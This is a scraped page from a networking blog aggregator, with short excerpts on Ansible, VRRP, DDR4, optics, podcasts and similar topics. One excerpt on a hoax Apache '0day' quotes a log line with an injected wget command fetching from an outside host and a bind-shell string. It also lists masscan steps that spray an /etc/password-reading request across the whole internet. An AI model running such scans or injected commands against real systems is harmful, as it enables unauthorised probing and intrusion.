Server Bootstrap & Prep with Ansible

Over the past few months, I’ve been posting on using Ansible for network automation.  Changing things up a bit, this post will cover using Ansible for server automation and I’ll share a few Ansible playbooks that I’ve built and have been using to bootstrap servers and prep them for various applications such as OpenStack and NSX deployments.  
Step 1 - Playbook 1
Creating password-less root account

Since Ansible uses SSH by default for connecting to the servers, you will realize the first thing that needs to be done is to copy the public key of where you will execute playbooks from onto the “new” server.  To do this, I use a playbook that is called server_one_time_run.yml.  You will notice that in this playbook, and only in this playbook, I have remote_user set to jedelman and sudo set to yes.

I’ve been testing against bare-metal and virtual machine installs using an Ubuntu ISO image.  During the OS install process, “jedelman” is the account that was created on all hosts and virtual machines. 

This playbook runs and copies over the public key in the root directory.  We are essentially creating a password-less login for Continue reading

Dealing with Schema Changes

It’s not often I get to write about concepts rooted in database technology, but I’d like to illuminate a situation that software developers deal with quite often, and one that those entering this space from the network infrastructure side may want to consider. Software will often communicate with other software using APIs - an interface built so that otherwise independent software processes can send and receive data between each other, or with other systems.

Dealing with Schema Changes

It’s not often I get to write about concepts rooted in database technology, but I’d like to illuminate a situation that software developers deal with quite often, and one that those entering this space from the network infrastructure side may want to consider. Software will often communicate with other software using APIs - an interface built so that otherwise independent software processes can send and receive data between each other, or with other systems.

War Stories: Gratuitous ARP and VRRP

Continuing our theme of ARP-related war stories, here’s another ARP/switching behaviour I’ve come across. This particular problem didn’t result in any outages, but the network wasn’t working as well as it should have, and started flooding frames unexpectedly. Here’s what was going on:

The Network

Breaking the network down to its simplest level, it looked like this:

VRRP and ARP

The two routers were a VRRP pair. Router-A was 100.100.100 .11, Router-B was 100.100.100.12, and the virtual IP was 100.100.100.1. These acted as a default gateway for the client LAN. PCs connected to the client LAN got their network configuration from DHCP, and set their default gateway to 100.100.100.1. Using this, they were able to get access to resources behind the routers, such as Server-1 at 200.200.200.200. All worked well.

Obviously there was a lot more to the network than what I’ve shown here, but it’s not important.

The Issue

I said it was working well – so what was wrong? One day I was using Wireshark to diagnose a network issue between PC-A and Server-1. I ran Wireshark on PC-A, with a capture filter of “host 200.200.200.200″. The packet flow Continue reading

C10M: The coming DDR4 revolution

Computer memory has been based on the same DRAM technology since the 1970s. Recent developments have been versions of the DDR technology, DDR2, DDR2, and now DDR4. The capacity and transfer speed have been doubling every couple years according to Moore's Law, but the latency has been stuck at ~70 nanoseconds for decades. The recent DDR4 standard won't fix this latency, but will give us a lot more tools to mitigate its effects.


Latency is bad. If a thread needs data from main memory, it must stop and wait for around 1000 instructions before the data is returned from memory. CPU caches mitigate most of this latency by keeping a copy of frequently used data in local, high-speed memory. This allows the processor to continue at full speed without having to wait.

The problem with Internet scale is that it can't be cached. If you have 10 million concurrent connections, each requiring 10-kilobytes of data, you'll need 100-gigabytes of memory. However, processors have only 20-megabytes of cache -- 50 thousand times too small to cache everything. That means whenever a packet arrives, the memory associated with that packet will not be in cache. The CPU will have to stop and Continue reading

That Apache 0day was troll

Last week, many people saw what they thought was an Apache 0day. They say logs with lots of suggestive strings that looked like this:

[28/Jul/2014:20:04:07 +0000] “GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0″ 301 178 “-” “chroot-apach0day-HIDDEN BINDSHELL-ESTAB” “-”
Somebody has come forward and taken credit for this, admitting it was troll.

This is sort of a personality test. Many of us immediately assumed this was a troll, but that's because we are apt to disbelieve any hype. Others saw this as some new attack, but that's because they are apt to see attacks out of innocuous traffic. If your organization panicked at this "0day attack", which I'm sure some did, then you failed this personality test.


I don't know what tool the troll used, but I assume it was masscan, because that'd be the easiest way to do it. To do this with masscan, get a Debian/Ubuntu VPS and do the following:

apt-get install libpcap-dev dos2unix
git clone https://github.com/robertdavidgraham/masscan
cd masscan
make
echo "GET /my0dayexploit.php?a=x0acat+/etc/password HTTP/1.0" >header.txt
echo "Referer: http://troll.com" >>header.txt
echo "" >>header.txt
unix2dos header.txt
iptables -A INPUT -p tcp --destination-port 4321 -j DROP

bin/masscan 0.0.0.0/0 Continue reading

Taking the Bull by the Horns

Over the past few years, I’ve had the opportunity to work with best and the brightest in the industry.  The reach started with my co-workers, partners, and vendors, but gradually expanded due to the likes of maintaining a blog and occasionally being on Twitter.  In a recent exchange with someone who gave me a massive pivot and jump start in my career almost 10 years ago, it reminded me of a presentation this same person gave back then.  
One of the key themes of this presentation was “Intrinsic Motivation.”  This was the first time I had ever heard the phrase – the speaker talked about one’s inner desire and self-motivation as the reason for wanting, learning, and doing.  It’s a feeling that is hard to describe, but I remember thinking during the presentation, “Hmm, I think I may have that.”  It’s not something many of us talk about, but those that have it can often see it or sense it in others.  On the surface, it could be called a passion.  It could be a hobby you love or when work starts to overlap as your hobby.  Maybe it’s just OCD coupled Continue reading

Podcast Spotlight — Software Gone Wild

Bright orange RSS icon

Today’s podcast spotlight goes to Software Gone Wild. This is a newer podcast hosted by our friend Ivan Pepelnjak. The topics are focused on the growing pains the networking industry is experiencing and various forms of automation that are attempting to solve them. This includes various aspects of SDN, NFV and how others are using technology to deliver bigger/better/faster solutions.

Recent episodes include Network Automation @ Spotify and The F-Script with my good friend John Herbert.

Links

Disclaimer: I have no affiliation with the Software Gone Wild podcast or any organization linked to,  represented in or derived from content found in this article. This article represents my own opinions and may not be that of my employer.

 

Readers of this article may also enjoy:

  1. Podcast Spotlight — The Class-C Block
  2. Podcast Spotlight — The IPv6 Show
  3. Using IPvFoo to Determine IPv4 and IPv6 Site Connections
  4. Defining Cisco’s onePK
  5. Did You Say SDN?

The post Podcast Spotlight — Software Gone Wild appeared first on PacketU.

Refactoring Code: Fun With REST and JSON

Recently I’ve been writing some automation code for Atlassian’s JIRA project management / bug tracking product. Think of JIRA as a generic AGILE-aware tool that can provide everything from project tracking all the way down to task tracking, trouble ticketing … Continue reading →

If you liked this post, please do click through to the source at Refactoring Code: Fun With REST and JSON and give me a share/like. Thank you!

What Happens When 20 Programs Poll The Network?

Packetpushers show 198 was a great episode about Network Automation. At one point, Greg asks:

“What happens when you’ve got 20 apps polling one device?”

Well, you might hit the same problem I did:

SECURITY-SSHD-6-INFO_GENERAL : Incoming SSH session rate limit exceeded

I have some Python scripts that poll performance and configuration data from a couple of ASR9Ks, and I was getting some gaps in my data. The scripts run on different polling cycles (some hourly, some every 15 minutes, etc). It wasn’t consistent, but now and then my script would fail to collect any data.

I dug into it, and found that I was hitting the default SSH rate limit of 60 per minute, calculated as 1 per second. Because I couldn’t control the exact scheduling of when my polls ran, I inserted a short random wait timer into some of them. That helped, and I had fewer failures, but it still wasn’t quite right.

So I used the command “ssh server rate-limit 120″ to allow 2 SSH connections per second. That has helped, and now I’m not getting any failures.

But it won’t be pretty if I do have 20 different apps all trying to poll at once.

(Yes, I know, I should Continue reading

No, the CIA didn’t spy on other computers

The computer's the CIA spied on were owned and operated by the CIA.

I thought I'd mention this detail that is usually missing from today's news about the CIA spying on Senate staffers. The Senate staffers were investigating the CIA's torture program, reviewing classified documents. The CIA didn't trust the staffers, so they setup a special computer network just for the staffers to use -- a network secured and run by the CIA itself.

The CIA, though, spied on what the staffers did on the system. This allowed the CIA to manipulate investigation. When the staffers found some particularly juicy bit of information, the CIA was able to yank it from the system and re-classify it so that the staffers couldn't use it. Before the final report was ready, the CIA was already able to set the political machine in motion to defend itself from the report.

Thus, what the CIA did was clearly corrupt and wrong. It's just that it isn't what most people understand when they read today's headlines. It wasn't a case of the CIA hacking into other people's computers.

Many stories quote CIA director Brennan who said earlier this year:
I think a lot of people Continue reading

Network Break 13

We have renamed the show to "The Network Break"

Author information

Greg Ferro

Greg Ferro is a Network Engineer/Architect, mostly focussed on Data Centre, Security Infrastructure, and recently Virtualization. He has over 20 years in IT, in wide range of employers working as a freelance consultant including Finance, Service Providers and Online Companies. He is CCIE#6920 and has a few ideas about the world, but not enough to really count.

He is a host on the Packet Pushers Podcast, blogger at EtherealMind.com and on Twitter @etherealmind and Google Plus.

TwitterFacebookGoogle+

The post Network Break 13 appeared first on Packet Pushers Podcast and was written by Greg Ferro.

HP VSR1001 Virtual Services Router on GNS3

HP VSR  is a Comware 7 router software application for a server which provides the same functionality as a physical router. Installed on either VMware or KVM virtual machine it offers routing, Firewall, IPSec, and MPLS VPN security services.

The tutorial gives you some ideas how to install HP VSR1000 (Virtual Service Router) running Comware 7 OS on Qemu disk and connects Qemu appliance  to GNS3.

They are HP VSR1001, VSR1004 and VSR1008 models available for download. Differences between models are explained here.  As the VSR1001 model has the lowest RAM requirements comparing to other models and we do not have to concern the forwarding performance,  VSR 1001 demo ISO image is our choice. The demo is  full featured, performance limited and requiring no license and with no expiration date.

HP VSR1001 Minimum Hardware Requirements

  • CPU: 2.0 GHz
  • Memory: 1 GB
  • Disk space: 8 GB
  • Network interfaces: 2 virtual NICs, E1000 and VirtIO virtual NICs are recommended, maximum 16 NICs supported

1. Download HP VSR1001 Virtual Services Router

Navigate to the Download page here

Picture1-Download_VSR100_7.10.R0202

Picture 1 - HP VSR1001 Virtual Services Router Download Page

Click on the button >> on he right, beside the padlock icon. Either sign in with your HP Passport account or Continue reading

CCIE Collaboration Update – Racks and Videos

Update 1: CCIE Collaboration Racks are now available for rent. Sign in to your members account and click on Rack Rentals in the left navigation. Please note that these racks are currently in general beta release, meaning they are available to everyone, but if you happen to find a bug or an issue with the scheduler, rack control page, or rack equipment, please start a support case and kindly let us know about it so that we may remediate it quickly. We’ve had a number of closed beta testers and their tests have all gone very well. We should be out of general beta release within a few weeks. Full instructions on how to use our racks can be found in our new Collaboration Rack Rental Guide, and I will be releasing a few follow-up videos later today with links inside the guide, to further demo things and walk you through how to use these racks, including the use our new rack control panel.

Please note that while we do certainly still support L2VPN for connecting your phones directly, as well as SSL VPN for server access, we also provide support now for 100% VPN-less connectivity with only Continue reading

No turning back: Russia activates Crimean cable

The Crimean peninsula depends critically on the Ukrainian mainland for infrastructure services: power, water, and Internet. That has begun to change in the last few days, as Crimean ISPs began receiving their first Internet services over the newly constructed Kerch Strait Cable, linking Crimea with the Russian mainland. The message: there is no turning back now in the process of infrastructure consolidation. kerch_strait

It’s a symbolic step that’s been months in the making. Following Russia’s annexation of Crimea from Ukraine in March, Prime Minister Dmitry Medvedev ordered the immediate construction of a new submarine cable across the Kerch Strait, one that would connect mainland Russia to the peninsula.

At Medvedev’s direction, Russian state-owned telecommunications company Rostelecom quickly constructed a submarine cable across the Kerch Strait at a cost of 400-900 million rubles (11-25 million US dollars). On April 25th, Rostelecom announced that the cable was completed. medvedev

But laying a short cable through shallow littoral waters is simple work, compared to the process of convincing Crimea’s ISPs to accept Internet service — any Internet service — from a Russian carrier. April passed, and then May, and June. We knew that when the Continue reading

SolarWinds NPM 11 – Now Application Aware

I had a chance last week to speak with a couple of folks at Solarwinds about the release of their Network Performance Monitor (NPM) 11 product, which is being announced today. I don’t cover network management products too often, but Solarwinds … Continue reading →

If you liked this post, please do click through to the source at SolarWinds NPM 11 – Now Application Aware and give me a share/like. Thank you!

Fun With Optics

I recently had a deployment where we needed to connect Cisco 6500s to Juniper MX960s.

There was a lot of confusion surrounding what fibre and optic modules needed to be used, so I’m documenting the initial state and the successful state here.

Initially, the Junipers had the following model numbers used for the optics:

XFP-10G-LR (identified using a “show chassis hardware”)

The 6500s:

10Gbase-SR

Interestingly, one of the links came up between the devices, while one did not. I tried swapping the cable (Single Mode) for Multimode for the non-working link, and that did not fix the issue. We then swapped the Cisco optic for an LR optic and used Single Mode fibre which did the trick.

Confusingly for someone from a Cisco background like me, the Juniper optic was labelled  XFP-10G-L-OC192-SR1. I assumed the SR stood for short reach/range (it does) and tried to use Multimode fibre, as you would with Cisco SR optics. However, it turns out that the Juniper SR optic in this case used Single Mode fibre as its interface.

It is documented in this handy link here, which turned up with some Googling.

The confusion stems due to the reference to Short Reach differing between Continue reading

1 … 3,632 3,633 3,634 3,635 3,636 … 3,751